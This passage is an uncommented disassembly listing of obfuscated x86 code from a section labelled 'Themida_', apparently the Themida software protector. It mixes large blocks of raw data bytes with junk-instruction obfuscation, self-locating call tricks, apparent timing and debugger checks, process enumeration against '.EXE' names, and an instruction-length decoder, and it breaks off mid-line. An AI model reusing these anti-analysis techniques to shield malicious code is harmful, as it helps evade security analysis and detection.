91CBB4EBh, 7F3D8B6Bh, 7C32D43Bh, 0BBBFB55Ah, 199F5491h dd 1FF95F5Dh, 35B9B25Bh, 0EDDA845Ah, 0BC32D43Bh, 787417E4h dd 9486CD60h, 0A2F4921Ah, 46FD5F2Fh, 0DF32BEABh, 0C732D7D3h dd 206AF43Bh, 0D5765D63h, 0DC76553Fh, 7C32CD3Fh, 0FD62943Bh dd 395E67D4h, 53D1453h, 0C732D43Eh, 0F142B985h, 7DB7593Bh dd 923479BBh, 7FDA823Bh, 1E32D43Bh, 966C1765h, 0E36F04Fh dd 0D136F07Fh, 0A532D43Bh, 9EA1176Dh, 4BE55599h, 2C54C2B6h dd 668C866Bh, 1059E88Ah, 0D5F85F0Ah, 0E3365D63h, 0E3355234h dd 723DD43Bh, 0F832D43Ah, 49A72BCEh, 0B5347C21h, 946387FBh dd 0C6C8BC0h, 6F2C0D86h, 0EA47D43Dh, 0DCDB69B8h, 8C32D293h dd 0F7618422h, 3A486CFBh, 9ABBD43Bh, 899AD38Eh, 669E49B6h dd 30CDD291h, 4CB18C60h, 0FE9AF9D2h, 2C25A03Bh, 3A486C68h dd 9ABBD43Bh, 899AD38Eh, 59A949B6h, 30CDD291h, 0F6DB8C60h dd 6E32D43Bh, 4C7F44A9h, 0B460D680h, 0A83D8DF7h, 4F25FF5h dd 0C73E3DE8h, 94DDD43Bh, 1796E976h, 0B3970F96h, 0E1BF9F11h dd 389F54AFh, 1F325F34h, 0ABFD43Bh, 0C19FBAC9h, 442E6A5Bh dd 7A54E0ABh, 28CDB5F9h, 9467D451h, 3E32D438h, 42F1891Bh dd 8B16B8B2h, 0C31690BAh, 0E332D421h, 71F1817Eh, 31D50AA6h dd 0BC3915FFh, 3E6E5034h, 7952D43Bh, 0C3F714BAh, 68AF595Ah dd 89347C74h, 0F2DA843Bh, 0D832D43Bh, 0F56A1763h, 0BF36F07Fh dd 436F07Fh, 0CF32D43Bh, 6C19176Bh, 3C10E65Eh, 0F28A64B5h dd 732D43Bh, 2B32BED8h, 3E32D7D3h, 0DC6DF43Bh, 0AB4E5D64h dd 0E376553Fh, 0E332CC3Fh, 3265933Bh, 57C611CDh, 95B3B2EEh dd 0A3BF64EFh, 199F54A7h, 6767D451h, 0C732D438h, 0BEF1891Bh dd 0F516B8B2h, 0FC1690BAh, 7C32D422h, 0BCF1817Eh, 7D84CAFAh dd 7D85559h, 4A29ACF0h, 4E5C26BEh, 0A032BE3Dh, 0F832D7D3h dd 0BF6BF43Bh, 1A7E5D62h, 3B76553Fh, 8F32CF3Fh, 463953Bh dd 0C8E621B7h, 7C6C7515h, 4F3D04C4h, 73F2DFECh, 3E3288BFh dd 4E32BE3Bh, 8F32D7D3h, 46BF43Bh, 0C77E5D62h, 0D576553Fh dd 0F832C23Fh, 0BF63953Bh, 87EAF02Bh, 371589D9h, 0C09D49B6h dd 703DD293h, 0E3336CF3h, 0F158D43Bh, 0F8313C6Eh, 2112D43Bh dd 52BB89F8h, 5BB3D01Fh, 8F2FD01Fh, 9277D43Bh, 363DCBF8h dd 6404DCA2h, 75A065Ah, 0B38CB2D8h, 9FAF5933h, 9E3479BBh dd 5B69AF1h, 35B75914h, 0EC347955h, 0F132D1BFh, 2EB3B23Bh dd 0ACCD3A40h, 0FE398D6Dh, 1F205034h, 454D43Bh, 68AF59F1h dd 5B347C74h, 0F132D438h, 0AF8037C4h, 0F68F5978h, 0B33479BBh dd 0B2B120B6h, 0D34F6C3Dh, 42015E70h, 0E59ACDC6h, 0BFF31B10h dd 9F54A7A3h, 67D45119h, 32D43867h, 0F1891BC7h, 16B8B2BEh dd 1690BAF5h, 5E983FCh, 0C08BA4F3h, 8BC38BFCh, 52006AC0h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h dd 5A1A1A5Ah, 0D9BD83FCh, 6A81Eh, 0BD830975h, 6A82DE9h dd 50197400h, 0B8C08B53h, 47Ah, 0FD58589h, 9D8D06A8h, 6AAA213h dd 585BD3FFh, 2DE9BD83h, 740006A8h, 0B8535017h, 47Ah, 0FD58589h dd 9D8D06A8h, 6AA9EB4h, 585BD3FFh, 53006AF9h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 0CB8B660Ah dd 3CE9C08Bh, 1, 4Eh dup(0) dd 83000000h, 0A821C5BDh, 840F0106h, 5B7h, 0A1B86660h dd 85C66148h, 6A815D5h, 0F8D0F43h, 0E9000000h, 0Ah, 222462D8h dd 33F04211h, 2B6878C9h, 0FE97DAAh, 0B8Ch, 8B666000h, 850FF8h dd 61000000h, 0DE243481h, 0E905D87Ah, 0Eh, 64844FC0h, 0E783DD74h dd 6CCC8354h, 0B5FFF909h, 6A80F95h, 18A0Fh, 8DF90000h dd 0AB697185h, 0AE906h, 3F3A0000h, 737795D4h, 5CB6F09Fh dd 6AD0FFh, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h dd 50400000h, 89F950C3h, 0A832A985h, 0BB666006h, 0BE6695F5h dd 0C6614DACh, 0A815D585h, 6A5006h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 160424h, 53430000h, 24F2F9C3h dd 0C8C0Fh, 850F0000h, 6, 8B0Fh, 4E80000h, 56000000h, 50A8ADADh dd 5E516052h, 0F61C88Ah, 76BA6031h, 0F08F410h, 80h, 585A6100h dd 5E950h, 3EDB0000h, 8BA8461Bh, 50042444h, 6870F52h, 50000000h dd 5A310F52h, 60310F58h, 880Fh, 5A610000h, 50008B58h, 10E952h dd 1E760000h, 8406A45Dh, 0F9A08F2Dh, 0AEBB4C8Ah, 310FD6E0h dd 9E9h, 5075C300h, 46412D0Eh, 585AAFE6h, 4244489h, 66605250h dd 5250DA8Bh, 585A310Fh, 50310F61h, 8D0F52h, 0F000000h dd 5A616031h, 58585A58h, 95B5FFF8h, 6A06A80Fh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h dd 0ABD1C351h, 14E97Bh, 70900000h, 0C6D9A02Fh, 58729AFDh dd 0C1C1F46h, 0C4705FE2h, 8A6074FEh, 3820FCBh, 66000000h dd 0F61C88Bh, 18Fh, 858DF900h, 6AB6971h, 7E9h, 25067700h dd 0F4F80246h, 6AD0FFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 180424h, 57470000h, 3A8D9AC3h, 850FDA07h, 7, 1860Fh dd 89F50000h, 0A80EB985h, 8B666006h, 0C86CBBD6h, 0E8616404h dd 4, 0F08FA82Fh, 8B6AB260h, 505061DEh, 68A0F52h, 0F000000h dd 8Dh, 0F310F00h, 68Bh, 0F525000h, 5A585A31h, 24448B58h dd 13810F04h, 0E9000000h, 0Eh, 0DB2B4F4Dh, 0C784504Bh dd 78630C4Bh, 8BE13Dh, 11880Fh, 0E9600000h, 8, 78DEB417h dd 83F2DEEEh, 89615857h, 0E9042444h, 7, 0ABA1A5A9h, 58B982EBh dd 61D38B60h, 0F98B6660h, 0FF61E9B2h, 0A80F95B5h, 8850F06h dd 0F000000h, 280h, 0F8616000h, 6971858Dh, 860F06ABh, 10h dd 0BE9h, 0A3462400h, 9E541493h, 7A5C8561h, 6AD0FFh, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h dd 1B77CDC3h, 7E9h, 696D1700h, 898A305h, 12E9h, 0C9FDEF00h dd 27949252h, 0D1754A99h, 4CB49D86h, 89C76D3Dh, 0A8018185h dd 0EE906h, 0A0560000h, 0E51CC6C6h, 0F02B76CEh, 0AA60DBE2h dd 6E9h, 445FD600h, 0C6DD025Dh, 0A815D585h, 6A5006h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 0E9706BC3h, 0Eh, 91106F11h, 5E6EB632h, 52BD513Ch, 0AE9FAFEh dd 0B0000000h, 98ABC025h, 2DD2E4C0h, 133168DDh, 52509A79h dd 6800Fh, 810F0000h, 0 dd 8E9310Fh, 0B8000000h, 4DC579B4h, 5AAAC813h, 24348158h dd 0DE5CF67h, 0F9B5FFF9h, 0F806A831h, 3AC3858Dh, 6A06A8h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h dd 0C810D0C3h, 6660A621h, 4444E081h, 0F78CBE66h, 0FD0FF61h dd 1584h, 61606000h, 0CE9h, 0D509E000h, 0D451F573h, 85C07F17h dd 858961F5h, 6A814C1h, 0C8B70F60h, 0DE9h, 79917900h, 82975AB8h dd 0A3867FADh, 0E9617F53h, 19Fh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 17h, 59C35545h, 50EDDE23h, 52505250h dd 310F5250h, 310F585Ah, 830Fh, 585A0000h, 5250310Fh, 310F6160h dd 820Fh, 585A0000h, 2C89585Ah, 0EC8BF924h, 0C8D0Fh, 840F0000h dd 6, 840Fh, 0C4830000h, 6660F5FCh, 305ED881h, 42BDF081h dd 606146E8h, 68D0F60h, 81000000h, 0A695DE9h, 0D68B664Eh dd 0E861h, 815A0000h, 0AD8A91EAh, 0FC45C706h, 0 ; --------------------------------------------------------------------------- cmp dword ptr [edx+6A821C5h], 1 jz loc_5A2551 push edx push 0 push 0Fh call dword ptr [edx+6A832A9h] pop edx mov [edx+6AD84AAh], eax lea ebx, [edx+6AD84AEh] push edx mov dword ptr [ebx], 128h push ebx push eax call dword ptr [edx+6A80EB9h] pop edx loc_5A24E1: ; CODE XREF: Themida_:005A250Bj ; Themida_:005A253Fj push edx lea ebx, [edx+6AD84AEh] push ebx push dword ptr [edx+6AD84AAh] call dword ptr [edx+6A814C1h] pop edx or eax, eax jz short loc_5A254A lea ebx, [edx+6AD84AEh] lea edi, [ebx+24h] xor ecx, ecx loc_5A2505: ; CODE XREF: Themida_:005A2515j cmp ecx, 104h jz short loc_5A24E1 inc ecx cmp dword ptr [ecx+edi], 4558452Eh jnz short loc_5A2505 lea esi, [ecx+edi] sub esi, [ebp+0Ch] lea edi, [edx+6A80305h] mov ecx, [ebp+0Ch] rep movsb xor al, al stosb push edx push dword ptr [ebp+8] lea eax, [edx+6A80305h] push eax call dword ptr [edx+6A80181h] pop edx or eax, eax jnz short loc_5A24E1 mov dword ptr [ebp-4], 1 jmp short loc_5A2551 ; --------------------------------------------------------------------------- loc_5A254A: ; CODE XREF: Themida_:005A24F8j mov dword ptr [ebp-4], 0 loc_5A2551: ; CODE XREF: Themida_:005A24B3j ; Themida_:005A2548j popa mov eax, [ebp-4] leave retn 8 ; --------------------------------------------------------------------------- jo loc_5A256B pusha xor edi, 6985CDC8h mov dx, 2BBFh popa loc_5A256B: ; CODE XREF: Themida_:005A2559j push 0 push edx call sub_5A2576 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A2576 proc near ; CODE XREF: Themida_:005A256Ep arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 19h inc edx push edx retn sub_5A2576 endp ; --------------------------------------------------------------------------- dec edx adc ebx, [edi+7Bh] stosb stosb jmp loc_5A259D ; --------------------------------------------------------------------------- db 70h, 6Ch, 2Dh dd 6CBDAC7h, 92383331h db 0F2h ; --------------------------------------------------------------------------- loc_5A259D: ; CODE XREF: Themida_:005A258Cj jnb loc_5A25B7 pusha jmp loc_5A25B0 ; --------------------------------------------------------------------------- db 0C5h, 0E8h, 48h ; --------------------------------------------------------------------------- setalc push eax stc pop edx loc_5A25B0: ; CODE XREF: Themida_:005A25A4j jns $+6 popa loc_5A25B7: ; CODE XREF: Themida_:loc_5A259Dj mov edx, edx call sub_5A25C4 icebp ficom word ptr [ebx] xchg eax, ebx test bl, al ; =============== S U B R O U T I N E ======================================= sub_5A25C4 proc near ; CODE XREF: Themida_:005A25B9p ; FUNCTION CHUNK AT 005A2688 SIZE 0000000E BYTES mov di, 0FB55h pop ebx mov dx, cx add ebx, 5A7Ah ja loc_5A25E2 pusha mov bl, al jz $+6 popa loc_5A25E2: ; CODE XREF: sub_5A25C4+Ej push 166Dh mov dx, 0E11Fh pop ecx mov edx, edi push dword ptr [ebx] jmp loc_5A2606 ; --------------------------------------------------------------------------- db 3Dh, 2Dh, 6Eh dd 0B36E854Bh, 0F605BA3Dh, 22F37606h db 96h, 0E2h ; --------------------------------------------------------------------------- loc_5A2606: ; CODE XREF: sub_5A25C4+2Cj pop eax sub eax, 2D51097Ch mov dx, 45E3h xor eax, 922A38Eh jmp loc_5A2627 ; --------------------------------------------------------------------------- dd 6F47F624h, 40ABA8F6h ; --------------------------------------------------------------------------- das xor ch, ch loc_5A2627: ; CODE XREF: sub_5A25C4+53j add eax, 240EB497h jo loc_5A2634 cmc loc_5A2634: ; CODE XREF: sub_5A25C4+69j ; sub_5A25C4+79j mov [ebx], eax jmp loc_5A2643 ; --------------------------------------------------------------------------- pop ebp pop es ja short loc_5A2634 dec ebp retn ; --------------------------------------------------------------------------- db 0ECh, 0E0h ; --------------------------------------------------------------------------- loc_5A2643: ; CODE XREF: sub_5A25C4+72j sub ebx, 763C98E7h add ebx, 763C98E3h mov dx, di dec ecx jnz loc_5A2669 add si, 6E23h jmp loc_5A2688 ; --------------------------------------------------------------------------- cmpsd sbb eax, 0D61C29DAh loc_5A2669: ; CODE XREF: sub_5A25C4+8Fj call near ptr loc_5A2673+1 push 39DDBAA5h loc_5A2673: ; CODE XREF: sub_5A25C4:loc_5A2669p fisttp dword ptr [ebx+72E95FF3h] sub_5A25C4 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 3 dup(0FFh) dd 0E683A65Bh, 13F65802h, 1CD4284Bh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A25C4 loc_5A2688: ; CODE XREF: sub_5A25C4+9Aj call loc_5A2696 call dword ptr [edx+esi*2-3DF9C57Eh] in eax, dx pop ss ; END OF FUNCTION CHUNK FOR sub_5A25C4 loc_5A2696: ; CODE XREF: sub_5A25C4:loc_5A2688p pusha mov bx, cx adc cl, 0F1h popa pop edx call sub_5A26B4 setalc mov eax, ds:0FA874C36h pop ds mov al, ds:68EE5A29h fsubr dword ptr [edi+51h] ; --------------------------------------------------------------------------- db 8Eh ; =============== S U B R O U T I N E ======================================= sub_5A26B4 proc near ; CODE XREF: Themida_:005A269Fp mov edi, 46871567h pop edi add edx, 62B6h stc sub esi, esi push eax mov ebx, esi pop ecx loc_5A26C7: ; CODE XREF: sub_5A26B4+73j mov eax, [edx+esi] or bh, 95h sub eax, 48B21B6Ah sbb bh, 7Dh add eax, 7F371621h mov bx, dx add eax, 7991CC30h mov ebx, 522D21A5h push eax stc pop dword ptr [edx+esi] jnz loc_5A2703 jmp loc_5A2703 ; --------------------------------------------------------------------------- dw 0EEA5h ; --------------------------------------------------------------------------- inc ecx cmp dword ptr [ebx], 144F505Ch loc_5A2703: ; CODE XREF: sub_5A26B4+3Bj ; sub_5A26B4+41j mov ebx, 152F9145h sub esi, 4 jmp loc_5A2721 ; --------------------------------------------------------------------------- mov esi, 37DCBEF5h dec ebx pushf stosd db 64h sub eax, 8DA54DEFh or esi, [ebp-58h] loc_5A2721: ; CODE XREF: sub_5A26B4+57j cmp esi, 0FFFF9DE8h jnz loc_5A26C7 mov bh, 48h lea ecx, [ebp+6AD8E0Eh] push 0 push edi call sub_5A2740 and [edi-3Dh], bl sub_5A26B4 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5A2740 proc near ; CODE XREF: sub_5A26B4+84p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 14h inc edi push edi retn sub_5A2740 endp ; --------------------------------------------------------------------------- movsb mov [ebp+6A8150Dh], ecx mov [ebp+6A805B9h], ecx jns loc_5A276B jz loc_5A276B mov esi, eax loc_5A276B: ; CODE XREF: Themida_:005A275Dj ; Themida_:005A2763j mov dword ptr [ebp+6A81469h], 5968h mov edx, esi mov dword ptr [ebp+6A80BBDh], 0 push 0 push ebp call sub_5A278C and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A278C proc near ; CODE XREF: Themida_:005A2784p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 18h inc ebp push ebp retn sub_5A278C endp ; --------------------------------------------------------------------------- dd 0FE1E630h, 7E987h, 5FFC0000h, 9AED572Ah, 0FDB5FF42h dd 6A06A805h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1B042444h, 40000000h, 4A85C350h, 2607D6E9h, 8E95AC1h dd 0D2000000h, 0D5F975E2h, 0FF83FA23h, 0A820DD95h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 0EF79AEF2h, 9EC10299h, 95896244h, 6A819CDh, 95FF006Ah dd 6A81B31h, 7AEBC08Bh, 106CA522h, 0F99904D4h, 0D647B7A1h dd 332D20E5h, 0BB35AF54h, 9B8C9911h, 0B8F37412h, 254D6F84h dd 1AC4CC5Bh, 1659B264h, 11784779h, 42EA02B8h, 469CB89Bh dd 6120C96Bh, 0E471F77h, 0C576C0FAh, 80629C74h, 74549A67h dd 0E496CC4Dh, 58AF858h, 8C175B06h, 0C72C8AD9h, 81CFBE3h dd 5B1BF9C3h, 82DCBB2Ah, 49D6E374h, 7A839A14h, 804D6034h dd 76F86458h, 744B92Dh, 0C8E95674h, 88000001h, 7 dup(88004188h) dd 4188h, 4 dup(0) dd 0C4000088h, 11000091h, 11111111h, 0C9111111h, 88888899h dd 888888h, 0 dd 44000006h, 41000044h, 11000000h, 44111111h, 99444444h dd 3C98802h, 88001002h, 88001188h, 11888888h, 44111111h dd 16h, 880000h, 88880000h, 88h, 88008000h, 8888888h, 88000000h dd 88080888h, 888888h, 0 dd 88000000h, 88888888h, 80888888h, 3 dup(88888888h), 99880088h dd 88899h, 44880000h, 44444444h, 88444444h, 88888888h dd 888888h, 9980h, 88889980h, 888888h, 88888889h, 899988h dd 80000000h, 88808888h, 88888888h, 88808888h, 80888888h dd 88888888h, 26088888h, 643E362Eh, 0F0676665h, 0F3F2h dd 0FF000000h, 0E6FFFFFFh, 0FA004016h, 4016h, 0 dd 3000000h, 14h dup(0) dd 0C2000000h, 8E29000Ch, 1000075h, 11h dup(0) dd 0E9000000h, 353h, 0E855h, 815D0000h, 0AD9065EDh, 85C76006h dd 6AD8FB2h, 0 ; --------------------------------------------------------------------------- cmp word ptr [esi], 0A166h jnz loc_5A2A9E mov dword ptr [ebp+6AD8FB6h], 6 jmp loc_5A2AC2 ; --------------------------------------------------------------------------- loc_5A2A9E: ; CODE XREF: Themida_:005A2A89j lea eax, [ebp+6AD8FBAh] push eax lea eax, [ebp+6AD900Ah] push eax push esi push 0 call sub_5A2AD1 add esp, 10h and eax, 0FFh mov [ebp+6AD8FB6h], eax loc_5A2AC2: ; CODE XREF: Themida_:005A2A99j popa add esi, [ebp+6AD8FB6h] mov eax, [ebp+6AD8FB2h] pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_5A2AD1 proc near ; CODE XREF: Themida_:005A2AAFp var_7 = byte ptr -7 var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_6AD8FAA = dword ptr 6AD8FB2h push ebp mov ebp, esp push ecx push ecx and [ebp+var_5], 0 and [ebp+var_6], 0 xor dl, dl and [ebp+var_1], dl cmp [ebp+arg_0], 0 jz loc_5A2AFE mov [ebp+var_4], 2 mov [ebp+var_3], 0FEh mov [ebp+var_2], 1 jmp loc_5A2B0A ; --------------------------------------------------------------------------- loc_5A2AFE: ; CODE XREF: sub_5A2AD1+16j and [ebp+var_3], 0 and [ebp+var_2], 0 mov [ebp+var_4], 4 loc_5A2B0A: ; CODE XREF: sub_5A2AD1+28j push ebx push esi push edi loc_5A2B0D: ; CODE XREF: sub_5A2AD1+91j ; sub_5A2AD1+ADj ... mov edi, [ebp+arg_4] mov esi, [ebp+arg_8] movzx ecx, dl inc dl mov al, [edi+ecx] mov [esi+ecx], al xor cl, cl loc_5A2B20: ; CODE XREF: sub_5A2AD1+76j movzx ebx, cl push ebp call $+5 pop ebp sub ebp, 6AD911Ch lea ebp, [ebp+6AD8F92h] add ebp, ebx cmp [ebp+0], al pop ebp jz loc_5A2B4D inc cl cmp cl, 0Bh jb loc_5A2B20 loc_5A2B4D: ; CODE XREF: sub_5A2AD1+6Bj cmp cl, 0Bh jz loc_5A2BAA cmp al, 66h jnz loc_5A2B8B cmp [ebp+var_5], 0 jnz loc_5A2B0D cmp [ebp+var_3], 0 mov [ebp+var_5], 1 jnz loc_5A2B83 mov [ebp+var_4], 2 mov [ebp+var_3], 0FEh jmp loc_5A2B0D ; --------------------------------------------------------------------------- loc_5A2B83: ; CODE XREF: sub_5A2AD1+9Fj and [ebp+var_3], 0 mov [ebp+var_4], 4 loc_5A2B8B: ; CODE XREF: sub_5A2AD1+87j cmp al, 67h jnz loc_5A2B0D cmp [ebp+var_6], 0 jnz loc_5A2B0D xor [ebp+var_2], 1 mov [ebp+var_6], 1 jmp loc_5A2B0D ; --------------------------------------------------------------------------- loc_5A2BAA: ; CODE XREF: sub_5A2AD1+7Fj mov ebx, [ebp+arg_C] mov cl, dl dec cl cmp al, 0Fh mov [ebx], cl jnz loc_5A2BD6 movzx ecx, dl inc dl mov al, [edi+ecx] movzx edi, al shr edi, 1 mov [esi+ecx], al add edi, 80h jmp loc_5A2BDB ; --------------------------------------------------------------------------- loc_5A2BD6: ; CODE XREF: sub_5A2AD1+E4j movzx edi, al shr edi, 1 loc_5A2BDB: ; CODE XREF: sub_5A2AD1+100j push ebp call $+5 pop ebp sub ebp, 6AD91D4h lea ebp, [ebp+6AD8E92h] add ebp, edi mov bl, [ebp+0] pop ebp mov cl, al and cl, 1 mov [ebp+var_7], cl shl cl, 2 shr bl, cl test bl, 8 mov [ebp+var_6], bl jz loc_5A2D5D mov ebx, [ebp+arg_4] mov byte ptr [ebp+arg_0+3], 1 movzx ecx, dl inc dl mov bl, [ebx+ecx] mov byte ptr [ebp+arg_C+3], dl mov dl, bl mov [esi+ecx], bl and dl, 7 movzx ecx, bl cmp dl, 4 setz [ebp+var_5] shr ecx, 6 sub ecx, 0 jz loc_5A2CA1 dec ecx jz loc_5A2C84 dec ecx jnz loc_5A2CF4 cmp [ebp+var_2], 0 jnz loc_5A2CF0 cmp [ebp+var_5], 0 jz loc_5A2C63 mov byte ptr [ebp+arg_0+3], 2 loc_5A2C63: ; CODE XREF: sub_5A2AD1+188j add byte ptr [ebp+arg_0+3], 4 push ebp call $+5 pop ebp sub ebp, 6AD9260h mov [ebp+arg_6AD8FAA], 1 pop ebp jmp loc_5A2CF4 ; --------------------------------------------------------------------------- loc_5A2C84: ; CODE XREF: sub_5A2AD1+16Dj cmp [ebp+var_2], 0 jnz loc_5A2CCE cmp [ebp+var_5], 0 jz loc_5A2CCE mov byte ptr [ebp+arg_0+3], 2 jmp loc_5A2CCE ; --------------------------------------------------------------------------- loc_5A2CA1: ; CODE XREF: sub_5A2AD1+166j cmp [ebp+var_2], 0 jnz loc_5A2CE7 cmp [ebp+var_5], 0 jz loc_5A2CD6 movzx ecx, byte ptr [ebp+arg_C+3] mov edx, [ebp+arg_4] mov cl, [edx+ecx] and cl, 7 cmp cl, 5 jnz loc_5A2CCE mov byte ptr [ebp+arg_0+3], cl loc_5A2CCE: ; CODE XREF: sub_5A2AD1+1B7j ; sub_5A2AD1+1C1j ... inc byte ptr [ebp+arg_0+3] jmp loc_5A2CF4 ; --------------------------------------------------------------------------- loc_5A2CD6: ; CODE XREF: sub_5A2AD1+1DEj cmp dl, 5 jnz loc_5A2CF4 mov byte ptr [ebp+arg_0+3], dl jmp loc_5A2CF4 ; --------------------------------------------------------------------------- loc_5A2CE7: ; CODE XREF: sub_5A2AD1+1D4j cmp dl, 6 jnz loc_5A2CF4 loc_5A2CF0: ; CODE XREF: sub_5A2AD1+17Ej mov byte ptr [ebp+arg_0+3], 3 loc_5A2CF4: ; CODE XREF: sub_5A2AD1+174j ; sub_5A2AD1+1AEj ... dec byte ptr [ebp+arg_0+3] jz loc_5A2D22 movzx ecx, byte ptr [ebp+arg_0+3] mov [ebp+arg_0], ecx loc_5A2D04: ; CODE XREF: sub_5A2AD1+249j movzx esi, byte ptr [ebp+arg_C+3] mov ecx, [ebp+arg_4] mov edx, [ebp+arg_8] inc byte ptr [ebp+arg_C+3] dec [ebp+arg_0] mov cl, [ecx+esi] mov [edx+esi], cl jnz loc_5A2D04 mov esi, edx loc_5A2D22: ; CODE XREF: sub_5A2AD1+226j and al, 0FEh cmp al, 0F6h jnz loc_5A2D57 cmp edi, 7Fh ja loc_5A2D57 test bl, 38h jnz loc_5A2D57 cmp [ebp+var_7], 0 jz loc_5A2D51 movzx eax, [ebp+var_4] jmp loc_5A2D54 ; --------------------------------------------------------------------------- loc_5A2D51: ; CODE XREF: sub_5A2AD1+271j push 1 pop eax loc_5A2D54: ; CODE XREF: sub_5A2AD1+27Bj mov [ebp+var_1], al loc_5A2D57: ; CODE XREF: sub_5A2AD1+255j ; sub_5A2AD1+25Ej ... mov dl, byte ptr [ebp+arg_C+3] mov bl, [ebp+var_6] loc_5A2D5D: ; CODE XREF: sub_5A2AD1+136j mov al, bl and eax, 7 sub eax, 4 jz loc_5A2D88 dec eax dec eax jz loc_5A2D7E and bl, 7 add [ebp+var_1], bl jmp loc_5A2D90 ; --------------------------------------------------------------------------- loc_5A2D7E: ; CODE XREF: sub_5A2AD1+29Cj mov al, [ebp+var_3] add al, 6 jmp loc_5A2D8D ; --------------------------------------------------------------------------- loc_5A2D88: ; CODE XREF: sub_5A2AD1+294j mov al, [ebp+var_3] add al, 4 loc_5A2D8D: ; CODE XREF: sub_5A2AD1+2B2j add [ebp+var_1], al loc_5A2D90: ; CODE XREF: sub_5A2AD1+2A8j mov al, [ebp+var_1] dec [ebp+var_1] test al, al jz loc_5A2DB8 movzx ecx, [ebp+var_1] inc ecx loc_5A2DA3: ; CODE XREF: sub_5A2AD1+2E1j mov edi, [ebp+arg_4] movzx eax, dl inc dl dec ecx mov bl, [edi+eax] mov [esi+eax], bl jnz loc_5A2DA3 loc_5A2DB8: ; CODE XREF: sub_5A2AD1+2C7j pop edi pop esi mov al, dl pop ebx leave retn sub_5A2AD1 endp ; --------------------------------------------------------------------------- db 8Dh dd 0AD905F85h, 0E9858906h, 0E806A833h, 13h, 2EA93D70h dd 0B6035D37h, 4179F87Dh, 0AA622E9Ah, 8BC636CBh, 94B45EC7h dd 5DD0C681h, 81600000h, 95ACF5E1h, 68615Ch, 60000000h dd 11E9DA8Bh, 8B000000h, 5E453A5Bh, 0F4E17DC9h, 5F12DCABh dd 254BCE60h, 810F5F61h, 4, 61616060h, 0F93E0C8Bh, 7238C181h dd 42BB45C7h, 813394C0h, 3E6B8AC1h, 0F2816650h, 0F181E438h dd 43A3D245h, 5E8h, 0CD444F00h, 0D0800B4Dh, 0F515A6Dh dd 68Ch, 0B4EB8100h, 8F6B0B33h, 0DB813E04h, 22EDE4A6h dd 2870Fh, 0D38B0000h, 0CDFEEF81h, 14E93703h, 0C0000000h dd 47C6AE5h, 22E3E081h, 2DE624A6h, 0BC4B97E9h, 8105DF7Fh dd 3CDFAC7h, 0DA816637h, 0FF81A317h, 0FFFFA318h, 0FF7E850Fh dd 13E8FFFFh, 96000000h, 9A0A4486h, 60B25519h, 28296EDBh dd 71F59312h, 58F88A28h, 1AE9h, 0E1572800h, 0E7339C74h dd 77h, 3 dup(0) dd 0E9000000h, 0D1Ch, 0AD968B68h, 0E8E4E906h, 6168FFFAh dd 0E906AD97h, 0FFFAE8DAh, 0AD990868h, 0E8D0E906h, 1B68FFFAh dd 0E906AD9Ah, 0FFFAE8C6h, 0AD9B7E68h, 0E8BCE906h, 1368FFFAh dd 0E906AD9Eh, 0FFFAE8B2h, 0AD9F8268h, 0E8A8E906h, 8B68FFFAh dd 0E906ADA0h, 0FFFAE89Eh, 0B6F4BDDCh, 0E125600Dh, 0D7531A3Eh dd 783C66Ch, 70B6FB9Ch, 2B4CC6EBh, 0DF7F2066h, 89AB1492h dd 0BAD97AC0h, 3537B7F3h, 56C9793h, 2F6DB6h, 88155CFFh dd 0B33E1852h, 120C833Ch, 50DD90B1h, 2F4ED147h, 2E074EEEh dd 3D7417F8h, 6B611FBh, 90FF09BDh, 72B5FFFFh, 4C8E54D9h dd 70A86AAAh, 5FA90F5Bh, 0B6009257h, 1B179873h, 1477692Fh dd 3CCEh, 0B5E75100h, 4FAED80Eh, 35B60005h, 0CFB8FD92h dd 59C9862h, 5338B600h, 26608ED2h, 0B60004E2h, 752177A0h dd 1477F899h, 1007Ch, 0AED80600h, 0B600116Ah, 0EE8EFF58h dd 0F7217AA7h, 155CFFACh, 3B761788h, 0E1C268F6h, 74A50A43h dd 57D74E4Ah, 0B2F610AFh, 90AF57D6h, 0AC0C27A7h, 84296003h dd 0F531781Bh, 57DBE413h, 0D59CBFAFh, 0E5A0CE31h, 0C766C9B3h dd 0B832588Eh, 6BAFDAAFh, 0C8C00A7Fh, 0BAAF586Dh, 0BEA40791h dd 946FE63Ch, 0F2260A97h, 8E3C8735h, 0E2E22660h, 0FFA0AF57h dd 0FB3D1653h, 1BADCB71h, 0AF57E31Fh, 0BAD94AE5h, 3B7DAEF3h dd 0FFEA9E2Dh, 0E01A40B5h, 0B5FFE9A8h, 0D967B19Ah, 3D9F287Eh dd 8A266086h, 5CBCAA8Bh, 6310D173h, 0B7A0F926h, 5674DF61h dd 581CC6Dh, 61849DDFh, 7389E4F2h, 94D97A25h, 7FC9FD74h dd 2B9417ECh, 